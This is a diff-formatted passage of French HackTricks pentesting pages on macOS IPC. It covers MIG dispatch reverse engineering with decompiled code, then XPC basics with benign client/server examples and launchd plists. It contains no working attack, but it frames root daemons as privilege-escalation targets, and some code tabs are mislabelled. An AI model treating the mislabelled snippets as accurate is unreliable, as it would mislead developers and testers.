mach_msg_server(myipc_server, sizeof(union __RequestUnion__SERVERPREFmyipc_subsystem), port, MACH_MSG_TIMEOUT_NONE);
|
||||||
|
}
|
||||||
|
```
|
||||||
|
```c
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <servers/bootstrap.h>
|
||||||
|
#include "myipc.h"
|
||||||
|
|
||||||
|
int main(int argc, char *argv[]) {
|
||||||
|
mach_port_t server_port;
|
||||||
|
kern_return_t kr;
|
||||||
|
char *message = "Hello, server!";
|
||||||
|
char reply[256];
|
||||||
|
|
||||||
|
// Look up the server port
|
||||||
|
kr = bootstrap_look_up(bootstrap_port, "com.example.myipc_server", &server_port);
|
||||||
|
if (kr != KERN_SUCCESS) {
|
||||||
|
fprintf(stderr, "Failed to look up server port: %s\n", mach_error_string(kr));
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Send a message to the server
|
||||||
|
kr = myipc_send_message(server_port, message, reply, sizeof(reply));
|
||||||
|
if (kr != KERN_SUCCESS) {
|
||||||
|
fprintf(stderr, "Failed to send message: %s\n", mach_error_string(kr));
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Print the server's reply
|
||||||
|
printf("Server replied: %s\n", reply);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
{% endtab %}
|
||||||
|
|
||||||
|
{% tab title="myipc_server.c" %}
|
||||||
|
```c
|
||||||
|
// gcc myipc_client.c myipcUser.c -o myipc_client
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
|
||||||
|
#include <mach/mach.h>
|
||||||
|
#include <servers/bootstrap.h>
|
||||||
|
#include "myipcUser.h"
|
||||||
|
|
||||||
|
int main() {
|
||||||
|
|
||||||
|
// Lookup the receiver port using the bootstrap server.
|
||||||
|
mach_port_t port;
|
||||||
|
kern_return_t kr = bootstrap_look_up(bootstrap_port, "xyz.hacktricks.mig", &port);
|
||||||
|
if (kr != KERN_SUCCESS) {
|
||||||
|
printf("bootstrap_look_up() failed with code 0x%x\n", kr);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
printf("Port right name %d\n", port);
|
||||||
|
USERPREFSubtract(port, 40, 2);
|
||||||
|
}
|
||||||
|
```
|
||||||
|
### Analyse binaire
|
||||||
|
|
||||||
|
Comme de nombreux binaires utilisent désormais MIG pour exposer des ports mach, il est intéressant de savoir comment **identifier l'utilisation de MIG** et les **fonctions exécutées par MIG** avec chaque ID de message.
|
||||||
|
|
||||||
|
[**jtool2**](../../macos-apps-inspecting-debugging-and-fuzzing/#jtool2) peut analyser les informations MIG d'un binaire Mach-O, indiquant l'ID du message et identifiant la fonction à exécuter :
|
||||||
|
```bash
|
||||||
|
jtool2 -d __DATA.__const myipc_server | grep MIG
|
||||||
|
```
|
||||||
|
Il a été mentionné précédemment que la fonction qui se chargera d'**appeler la fonction correcte en fonction de l'ID du message reçu** était `myipc_server`. Cependant, vous n'aurez généralement pas les symboles du binaire (pas de noms de fonctions), il est donc intéressant de **vérifier à quoi cela ressemble décompilé** car cela sera toujours très similaire (le code de cette fonction est indépendant des fonctions exposées) :
|
||||||
|
|
||||||
|
{% tabs %}
|
||||||
|
{% tab title="myipc_server décompilé 1" %}
|
||||||
|
<pre class="language-c"><code class="lang-c">int _myipc_server(int arg0, int arg1) {
|
||||||
|
var_10 = arg0;
|
||||||
|
var_18 = arg1;
|
||||||
|
// Instructions initiales pour trouver les bons pointeurs de fonction
|
||||||
|
*(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f;
|
||||||
|
*(int32_t *)(var_18 + 0x8) = *(int32_t *)(var_10 + 0x8);
|
||||||
|
*(int32_t *)(var_18 + 0x4) = 0x24;
|
||||||
|
*(int32_t *)(var_18 + 0xc) = 0x0;
|
||||||
|
*(int32_t *)(var_18 + 0x14) = *(int32_t *)(var_10 + 0x14) + 0x64;
|
||||||
|
*(int32_t *)(var_18 + 0x10) = 0x0;
|
||||||
|
if (*(int32_t *)(var_10 + 0x14) <= 0x1f4 && *(int32_t *)(var_10 + 0x14) >= 0x1f4) {
|
||||||
|
rax = *(int32_t *)(var_10 + 0x14);
|
||||||
|
// Appel à sign_extend_64 qui peut aider à identifier cette fonction
|
||||||
|
// Cela stocke dans rax le pointeur de l'appel qui doit être appelé
|
||||||
|
// Vérifiez l'utilisation de l'adresse 0x100004040 (tableau des adresses des fonctions)
|
||||||
|
// 0x1f4 = 500 (l'ID de départ)
|
||||||
|
<strong> rax = *(sign_extend_64(rax - 0x1f4) * 0x28 + 0x100004040);
|
||||||
|
</strong> var_20 = rax;
|
||||||
|
// If - else, le if renvoie false, tandis que le else appelle la bonne fonction et renvoie true
|
||||||
|
<strong> if (rax == 0x0) {
|
||||||
|
</strong> *(var_18 + 0x18) = **_NDR_record;
|
||||||
|
*(int32_t *)(var_18 + 0x20) = 0xfffffffffffffed1;
|
||||||
|
var_4 = 0x0;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
// Adresse calculée qui appelle la bonne fonction avec 2 arguments
|
||||||
|
<strong> (var_20)(var_10, var_18);
|
||||||
|
</strong> var_4 = 0x1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
*(var_18 + 0x18) = **_NDR_record;
|
||||||
|
*(int32_t *)(var_18 + 0x20) = 0xfffffffffffffed1;
|
||||||
|
var_4 = 0x0;
|
||||||
|
}
|
||||||
|
rax = var_4;
|
||||||
|
return rax;
|
||||||
|
}
|
||||||
|
</code></pre>
|
||||||
|
{% endtab %}
|
||||||
|
|
||||||
|
{% tab title="myipc_server décompilé 2" %}
|
||||||
|
Il s'agit de la même fonction décompilée dans une version différente de Hopper free :
|
||||||
|
|
||||||
|
<pre class="language-c"><code class="lang-c">int _myipc_server(int arg0, int arg1) {
|
||||||
|
r31 = r31 - 0x40;
|
||||||
|
saved_fp = r29;
|
||||||
|
stack[-8] = r30;
|
||||||
|
var_10 = arg0;
|
||||||
|
var_18 = arg1;
|
||||||
|
// Instructions initiales pour trouver les bons pointeurs de fonction
|
||||||
|
*(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f | 0x0;
|
||||||
|
*(int32_t *)(var_18 + 0x8) = *(int32_t *)(var_10 + 0x8);
|
||||||
|
*(int32_t *)(var_18 + 0x4) = 0x24;
|
||||||
|
*(int32_t *)(var_18 + 0xc) = 0x0;
|
||||||
|
*(int32_t *)(var_18 + 0x14) = *(int32_t *)(var_10 + 0x14) + 0x64;
|
||||||
|
*(int32_t *)(var_18 + 0x10) = 0x0;
|
||||||
|
r8 = *(int32_t *)(var_10 + 0x14);
|
||||||
|
r8 = r8 - 0x1f4;
|
||||||
|
if (r8 > 0x0) {
|
||||||
|
if (CPU_FLAGS & G) {
|
||||||
|
r8 = 0x1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if ((r8 & 0x1) == 0x0) {
|
||||||
|
r8 = *(int32_t *)(var_10 + 0x14);
|
||||||
|
r8 = r8 - 0x1f4;
|
||||||
|
if (r8 < 0x0) {
|
||||||
|
if (CPU_FLAGS & L) {
|
||||||
|
r8 = 0x1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if ((r8 & 0x1) == 0x0) {
|
||||||
|
r8 = *(int32_t *)(var_10 + 0x14);
|
||||||
|
// 0x1f4 = 500 (l'ID de départ)
|
||||||
|
<strong> r8 = r8 - 0x1f4;
|
||||||
|
</strong> asm { smaddl x8, w8, w9, x10 };
|
||||||
|
r8 = *(r8 + 0x8);
|
||||||
|
var_20 = r8;
|
||||||
|
r8 = r8 - 0x0;
|
||||||
|
if (r8 != 0x0) {
|
||||||
|
if (CPU_FLAGS & NE) {
|
||||||
|
r8 = 0x1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// Même if else que dans la version précédente
|
||||||
|
// Vérifiez l'utilisation de l'adresse 0x100004040 (tableau des adresses des fonctions)
|
||||||
|
<strong> if ((r8 & 0x1) == 0x0) {
|
||||||
|
</strong><strong> *(var_18 + 0x18) = **0x100004000;
|
||||||
|
</strong> *(int32_t *)(var_18 + 0x20) = 0xfffffed1;
|
||||||
|
var_4 = 0x0;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
// Appel à l'adresse calculée où la fonction devrait être
|
||||||
|
<strong> (var_20)(var_10, var_18);
|
||||||
|
</strong> var_4 = 0x1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
*(var_18 + 0x18) = **0x100004000;
|
||||||
|
*(int32_t *)(var_18 + 0x20) = 0xfffffed1;
|
||||||
|
var_4 = 0x0;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
*(var_18 + 0x18) = **0x100004000;
|
||||||
|
*(int32_t *)(var_18 + 0x20) = 0xfffffed1;
|
||||||
|
var_4 = 0x0;
|
||||||
|
}
|
||||||
|
r0 = var_4;
|
||||||
|
return r0;
|
||||||
|
}
|
||||||
|
|
||||||
|
</code></pre>
|
||||||
|
{% endtab %}
|
||||||
|
{% endtabs %}
|
||||||
|
|
||||||
|
En fait, si vous allez à la fonction **`0x100004000`**, vous trouverez le tableau des structures **`routine_descriptor`**, le premier élément de la structure est l'adresse où la fonction est implémentée et la **structure prend 0x28 octets**, donc tous les 0x28 octets (à partir de l'octet 0) vous pouvez obtenir 8 octets et cela sera l'**adresse de la fonction** qui sera appelée :
|
||||||
|
|
||||||
|
<figure><img src="../../../../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
<figure><img src="../../../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
Ces données peuvent être extraites [**en utilisant ce script Hopper**](https://github.com/knightsc/hopper/blob/master/scripts/MIG%20Detect.py).
|
||||||
|
|
||||||
|
<details>
|
||||||
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||||
|
|
||||||
|
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
|
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
|
</details>
|
|
@ -0,0 +1,474 @@
|
||||||
|
# macOS XPC
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||||
|
|
||||||
|
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
|
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
|
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
## Informations de base
|
||||||
|
|
||||||
|
XPC, qui signifie Communication inter-processus XNU (le noyau utilisé par macOS), est un framework pour la **communication entre processus** sur macOS et iOS. XPC fournit un mécanisme pour effectuer des **appels de méthode asynchrones et sécurisés entre différents processus** du système. Il fait partie du paradigme de sécurité d'Apple, permettant la **création d'applications avec des privilèges séparés** où chaque **composant** s'exécute avec **seulement les autorisations nécessaires** pour effectuer son travail, limitant ainsi les dommages potentiels d'un processus compromis.
|
||||||
|
|
||||||
|
XPC utilise une forme de communication inter-processus (IPC), qui est un ensemble de méthodes permettant à différents programmes s'exécutant sur le même système d'échanger des données.
|
||||||
|
|
||||||
|
Les principaux avantages de XPC sont les suivants :
|
||||||
|
|
||||||
|
1. **Sécurité** : En séparant le travail en différents processus, chaque processus peut se voir accorder uniquement les autorisations dont il a besoin. Cela signifie que même si un processus est compromis, il a une capacité limitée à causer des dommages.
|
||||||
|
2. **Stabilité** : XPC contribue à isoler les plantages dans le composant où ils se produisent. Si un processus plante, il peut être redémarré sans affecter le reste du système.
|
||||||
|
3. **Performance** : XPC permet une concurrence facile, car différentes tâches peuvent être exécutées simultanément dans différents processus.
|
||||||
|
|
||||||
|
Le seul **inconvénient** est que **séparer une application en plusieurs processus** qui communiquent via XPC est **moins efficace**. Mais dans les systèmes d'aujourd'hui, cela est presque imperceptible et les avantages sont meilleurs.
|
||||||
|
|
||||||
|
## Services XPC spécifiques à l'application
|
||||||
|
|
||||||
|
Les composants XPC d'une application se trouvent **à l'intérieur de l'application elle-même**. Par exemple, dans Safari, vous pouvez les trouver dans **`/Applications/Safari.app/Contents/XPCServices`**. Ils ont l'extension **`.xpc`** (comme **`com.apple.Safari.SandboxBroker.xpc`**) et sont **également des bundles** avec le binaire principal à l'intérieur : `/Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/MacOS/com.apple.Safari.SandboxBroker` et un fichier `Info.plist : /Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/Info.plist`
|
||||||
|
|
||||||
|
Comme vous pouvez le penser, un **composant XPC aura des autorisations et des privilèges différents** des autres composants XPC ou du binaire principal de l'application. SAUF si un service XPC est configuré avec [**JoinExistingSession**](https://developer.apple.com/documentation/bundleresources/information\_property\_list/xpcservice/joinexistingsession) défini sur "True" dans son fichier **Info.plist**. Dans ce cas, le service XPC s'exécutera dans la **même session de sécurité que l'application** qui l'a appelé.
|
||||||
|
|
||||||
|
Les services XPC sont **démarrés** par **launchd** lorsque cela est nécessaire et **arrêtés** une fois que toutes les tâches sont **terminées** pour libérer les ressources système. Les composants XPC spécifiques à l'application ne peuvent être utilisés que par l'application, réduisant ainsi les risques liés aux vulnérabilités potentielles.
|
||||||
|
|
||||||
|
## Services XPC à l'échelle du système
|
||||||
|
|
||||||
|
Les services XPC à l'échelle du système sont accessibles à tous les utilisateurs. Ces services, qu'ils soient de type launchd ou Mach, doivent être **définis dans des fichiers plist** situés dans des répertoires spécifiés tels que **`/System/Library/LaunchDaemons`**, **`/Library/LaunchDaemons`**, **`/System/Library/LaunchAgents`** ou **`/Library/LaunchAgents`**.
|
||||||
|
|
||||||
|
Ces fichiers plist auront une clé appelée **`MachServices`** avec le nom du service, et une clé appelée **`Program`** avec le chemin vers le binaire :
|
||||||
|
```xml
|
||||||
|
cat /Library/LaunchDaemons/com.jamf.management.daemon.plist
|
||||||
|
|
||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||||
|
<plist version="1.0">
|
||||||
|
<dict>
|
||||||
|
<key>Program</key>
|
||||||
|
<string>/Library/Application Support/JAMF/Jamf.app/Contents/MacOS/JamfDaemon.app/Contents/MacOS/JamfDaemon</string>
|
||||||
|
<key>AbandonProcessGroup</key>
|
||||||
|
<true/>
|
||||||
|
<key>KeepAlive</key>
|
||||||
|
<true/>
|
||||||
|
<key>Label</key>
|
||||||
|
<string>com.jamf.management.daemon</string>
|
||||||
|
<key>MachServices</key>
|
||||||
|
<dict>
|
||||||
|
<key>com.jamf.management.daemon.aad</key>
|
||||||
|
<true/>
|
||||||
|
<key>com.jamf.management.daemon.agent</key>
|
||||||
|
<true/>
|
||||||
|
<key>com.jamf.management.daemon.binary</key>
|
||||||
|
<true/>
|
||||||
|
<key>com.jamf.management.daemon.selfservice</key>
|
||||||
|
<true/>
|
||||||
|
<key>com.jamf.management.daemon.service</key>
|
||||||
|
<true/>
|
||||||
|
</dict>
|
||||||
|
<key>RunAtLoad</key>
|
||||||
|
<true/>
|
||||||
|
</dict>
|
||||||
|
</plist>
|
||||||
|
```
|
||||||
|
Ceux dans **`LaunchDameons`** sont exécutés par root. Donc, si un processus non privilégié peut communiquer avec l'un d'entre eux, il pourrait être en mesure d'escalader les privilèges.
|
||||||
|
|
||||||
|
## Messages d'événement XPC
|
||||||
|
|
||||||
|
Les applications peuvent **s'abonner** à différents **messages d'événement**, ce qui leur permet d'être **initiées à la demande** lorsque de tels événements se produisent. La **configuration** de ces services est effectuée dans des fichiers **plist de launchd**, situés dans les **mêmes répertoires que les précédents** et contenant une clé supplémentaire **`LaunchEvent`**.
|
||||||
|
|
||||||
|
### Vérification du processus de connexion XPC
|
||||||
|
|
||||||
|
Lorsqu'un processus essaie d'appeler une méthode via une connexion XPC, le **service XPC doit vérifier si ce processus est autorisé à se connecter**. Voici les moyens courants de vérifier cela et les pièges courants :
|
||||||
|
|
||||||
|
{% content-ref url="macos-xpc-connecting-process-check.md" %}
|
||||||
|
[macos-xpc-connecting-process-check.md](macos-xpc-connecting-process-check.md)
|
||||||
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
## Autorisation XPC
|
||||||
|
|
||||||
|
Apple permet également aux applications de **configurer certains droits et la manière de les obtenir**, de sorte que si le processus appelant les possède, il serait **autorisé à appeler une méthode** du service XPC :
|
||||||
|
|
||||||
|
{% content-ref url="macos-xpc-authorization.md" %}
|
||||||
|
[macos-xpc-authorization.md](macos-xpc-authorization.md)
|
||||||
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
## Exemple de code C
|
||||||
|
|
||||||
|
{% tabs %}
|
||||||
|
{% tab title="xpc_server.c" %}
|
||||||
|
```c
|
||||||
|
// gcc xpc_server.c -o xpc_server
|
||||||
|
|
||||||
|
#include <xpc/xpc.h>
|
||||||
|
|
||||||
|
static void handle_event(xpc_object_t event) {
|
||||||
|
if (xpc_get_type(event) == XPC_TYPE_DICTIONARY) {
|
||||||
|
// Print received message
|
||||||
|
const char* received_message = xpc_dictionary_get_string(event, "message");
|
||||||
|
printf("Received message: %s\n", received_message);
|
||||||
|
|
||||||
|
// Create a response dictionary
|
||||||
|
xpc_object_t response = xpc_dictionary_create(NULL, NULL, 0);
|
||||||
|
xpc_dictionary_set_string(response, "received", "received");
|
||||||
|
|
||||||
|
// Send response
|
||||||
|
xpc_connection_t remote = xpc_dictionary_get_remote_connection(event);
|
||||||
|
xpc_connection_send_message(remote, response);
|
||||||
|
|
||||||
|
// Clean up
|
||||||
|
xpc_release(response);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static void handle_connection(xpc_connection_t connection) {
|
||||||
|
xpc_connection_set_event_handler(connection, ^(xpc_object_t event) {
|
||||||
|
handle_event(event);
|
||||||
|
});
|
||||||
|
xpc_connection_resume(connection);
|
||||||
|
}
|
||||||
|
|
||||||
|
int main(int argc, const char *argv[]) {
|
||||||
|
xpc_connection_t service = xpc_connection_create_mach_service("xyz.hacktricks.service",
|
||||||
|
dispatch_get_main_queue(),
|
||||||
|
XPC_CONNECTION_MACH_SERVICE_LISTENER);
|
||||||
|
if (!service) {
|
||||||
|
fprintf(stderr, "Failed to create service.\n");
|
||||||
|
exit(EXIT_FAILURE);
|
||||||
|
}
|
||||||
|
|
||||||
|
xpc_connection_set_event_handler(service, ^(xpc_object_t event) {
|
||||||
|
xpc_type_t type = xpc_get_type(event);
|
||||||
|
if (type == XPC_TYPE_CONNECTION) {
|
||||||
|
handle_connection(event);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
xpc_connection_resume(service);
|
||||||
|
dispatch_main();
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
```c
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <xpc/xpc.h>
|
||||||
|
|
||||||
|
int main(int argc, const char * argv[]) {
|
||||||
|
xpc_connection_t connection = xpc_connection_create_mach_service("com.apple.securityd", NULL, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);
|
||||||
|
|
||||||
|
xpc_connection_set_event_handler(connection, ^(xpc_object_t event) {
|
||||||
|
xpc_type_t type = xpc_get_type(event);
|
||||||
|
|
||||||
|
if (type == XPC_TYPE_DICTIONARY) {
|
||||||
|
const char *description = xpc_dictionary_get_string(event, "description");
|
||||||
|
printf("Received event: %s\n", description);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
xpc_connection_resume(connection);
|
||||||
|
|
||||||
|
sleep(10);
|
||||||
|
|
||||||
|
xpc_release(connection);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
{% endtab %}
|
||||||
|
|
||||||
|
{% tab title="xpc_server.c" %}
|
||||||
|
```c
|
||||||
|
// gcc xpc_client.c -o xpc_client
|
||||||
|
|
||||||
|
#include <xpc/xpc.h>
|
||||||
|
|
||||||
|
int main(int argc, const char *argv[]) {
|
||||||
|
xpc_connection_t connection = xpc_connection_create_mach_service("xyz.hacktricks.service", NULL, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);
|
||||||
|
|
||||||
|
xpc_connection_set_event_handler(connection, ^(xpc_object_t event) {
|
||||||
|
if (xpc_get_type(event) == XPC_TYPE_DICTIONARY) {
|
||||||
|
// Print received message
|
||||||
|
const char* received_message = xpc_dictionary_get_string(event, "received");
|
||||||
|
printf("Received message: %s\n", received_message);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
xpc_connection_resume(connection);
|
||||||
|
|
||||||
|
xpc_object_t message = xpc_dictionary_create(NULL, NULL, 0);
|
||||||
|
xpc_dictionary_set_string(message, "message", "Hello, Server!");
|
||||||
|
|
||||||
|
xpc_connection_send_message(connection, message);
|
||||||
|
|
||||||
|
dispatch_main();
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
{% tab title="xyz.hacktricks.service.plist" %}
|
||||||
|
```xml
|
||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
|
||||||
|
<dict>
|
||||||
|
<key>Label</key>
|
||||||
|
<string>xyz.hacktricks.service</string>
|
||||||
|
<key>MachServices</key>
|
||||||
|
<dict>
|
||||||
|
<key>xyz.hacktricks.service</key>
|
||||||
|
<true/>
|
||||||
|
</dict>
|
||||||
|
<key>Program</key>
|
||||||
|
<string>/tmp/xpc_server</string>
|
||||||
|
<key>ProgramArguments</key>
|
||||||
|
<array>
|
||||||
|
<string>/tmp/xpc_server</string>
|
||||||
|
</array>
|
||||||
|
</dict>
|
||||||
|
</plist>
|
||||||
|
```
|
||||||
|
{% endtab %}
|
||||||
|
{% endtabs %}
|
||||||
|
```bash
|
||||||
|
# Compile the server & client
|
||||||
|
gcc xpc_server.c -o xpc_server
|
||||||
|
gcc xpc_client.c -o xpc_client
|
||||||
|
|
||||||
|
# Save server on it's location
|
||||||
|
cp xpc_server /tmp
|
||||||
|
|
||||||
|
# Load daemon
|
||||||
|
sudo cp xyz.hacktricks.service.plist /Library/LaunchDaemons
|
||||||
|
sudo launchctl load /Library/LaunchDaemons/xyz.hacktricks.service.plist
|
||||||
|
|
||||||
|
# Call client
|
||||||
|
./xpc_client
|
||||||
|
|
||||||
|
# Clean
|
||||||
|
sudo launchctl unload /Library/LaunchDaemons/xyz.hacktricks.service.plist
|
||||||
|
sudo rm /Library/LaunchDaemons/xyz.hacktricks.service.plist /tmp/xpc_server
|
||||||
|
```
|
||||||
|
## Exemple de code Objective-C
|
||||||
|
|
||||||
|
{% tabs %}
|
||||||
|
{% tab title="oc_xpc_server.m" %}
|
||||||
|
```objectivec
|
||||||
|
// gcc -framework Foundation oc_xpc_server.m -o oc_xpc_server
|
||||||
|
#include <Foundation/Foundation.h>
|
||||||
|
|
||||||
|
@protocol MyXPCProtocol
|
||||||
|
- (void)sayHello:(NSString *)some_string withReply:(void (^)(NSString *))reply;
|
||||||
|
@end
|
||||||
|
|
||||||
|
@interface MyXPCObject : NSObject <MyXPCProtocol>
|
||||||
|
@end
|
||||||
|
|
||||||
|
|
||||||
|
@implementation MyXPCObject
|
||||||
|
- (void)sayHello:(NSString *)some_string withReply:(void (^)(NSString *))reply {
|
||||||
|
NSLog(@"Received message: %@", some_string);
|
||||||
|
NSString *response = @"Received";
|
||||||
|
reply(response);
|
||||||
|
}
|
||||||
|
@end
|
||||||
|
|
||||||
|
@interface MyDelegate : NSObject <NSXPCListenerDelegate>
|
||||||
|
@end
|
||||||
|
|
||||||
|
|
||||||
|
@implementation MyDelegate
|
||||||
|
|
||||||
|
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection {
|
||||||
|
newConnection.exportedInterface = [NSXPCInterface interfaceWithProtocol:@protocol(MyXPCProtocol)];
|
||||||
|
|
||||||
|
MyXPCObject *my_object = [MyXPCObject new];
|
||||||
|
|
||||||
|
newConnection.exportedObject = my_object;
|
||||||
|
|
||||||
|
[newConnection resume];
|
||||||
|
return YES;
|
||||||
|
}
|
||||||
|
@end
|
||||||
|
|
||||||
|
int main(void) {
|
||||||
|
|
||||||
|
NSXPCListener *listener = [[NSXPCListener alloc] initWithMachServiceName:@"xyz.hacktricks.svcoc"];
|
||||||
|
|
||||||
|
id <NSXPCListenerDelegate> delegate = [MyDelegate new];
|
||||||
|
listener.delegate = delegate;
|
||||||
|
[listener resume];
|
||||||
|
|
||||||
|
sleep(10); // Fake something is done and then it ends
|
||||||
|
}
|
||||||
|
```
|
||||||
|
{% tab title="oc_xpc_client.m" %}
|
||||||
|
```objectivec
|
||||||
|
// gcc -framework Foundation oc_xpc_client.m -o oc_xpc_client
|
||||||
|
#include <Foundation/Foundation.h>
|
||||||
|
|
||||||
|
@protocol MyXPCProtocol
|
||||||
|
- (void)sayHello:(NSString *)some_string withReply:(void (^)(NSString *))reply;
|
||||||
|
@end
|
||||||
|
|
||||||
|
int main(void) {
|
||||||
|
NSXPCConnection *connection = [[NSXPCConnection alloc] initWithMachServiceName:@"xyz.hacktricks.svcoc" options:NSXPCConnectionPrivileged];
|
||||||
|
connection.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(MyXPCProtocol)];
|
||||||
|
[connection resume];
|
||||||
|
|
||||||
|
[[connection remoteObjectProxy] sayHello:@"Hello, Server!" withReply:^(NSString *response) {
|
||||||
|
NSLog(@"Received response: %@", response);
|
||||||
|
}];
|
||||||
|
|
||||||
|
[[NSRunLoop currentRunLoop] run];
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
{% tab title="xyz.hacktricks.svcoc.plist" %}
|
||||||
|
```xml
|
||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
|
||||||
|
<dict>
|
||||||
|
<key>Label</key>
|
||||||
|
<string>xyz.hacktricks.svcoc</string>
|
||||||
|
<key>MachServices</key>
|
||||||
|
<dict>
|
||||||
|
<key>xyz.hacktricks.svcoc</key>
|
||||||
|
<true/>
|
||||||
|
</dict>
|
||||||
|
<key>Program</key>
|
||||||
|
<string>/tmp/oc_xpc_server</string>
|
||||||
|
<key>ProgramArguments</key>
|
||||||
|
<array>
|
||||||
|
<string>/tmp/oc_xpc_server</string>
|
||||||
|
</array>
|
||||||
|
</dict>
|
||||||
|
